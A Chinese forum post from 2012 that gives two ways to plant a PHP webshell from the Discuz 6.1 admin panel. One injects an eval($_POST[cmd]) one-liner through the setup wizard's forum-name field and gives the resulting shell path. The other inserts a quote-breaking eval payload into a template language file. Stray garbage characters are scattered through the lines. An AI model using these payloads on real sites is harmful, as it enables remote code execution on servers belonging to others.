discuz6.1两种方法后台拿shell+ g& \6 c4 ^! O9 v4 K
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
! m: n' H+ B# V3 L/ o! b1:
, x Z; N F6 O" bhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes1 b, C' @/ U: L
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell8 d+ P9 I) \+ p `6 _
<?php eval($_POST[cmd]);?>: a& E# i8 t) h
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php& A* C. Q W' G7 r# N" ?
' G" ^- T; M0 T- q* V, H
7 a5 R; K* \! X4 Z* O4 ?$ G# B
2:后台模板管理--默认模板套系--详情, u# S+ g& I" h. Q0 }
templates/default/actions.lang.php; Q \- V6 c# M3 t
jhackj\\');eval($_POST[cmd])?>;/// I) p2 {* p3 Y. x& \
0 G/ E) d! G C2 p! y) z7 y, h利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对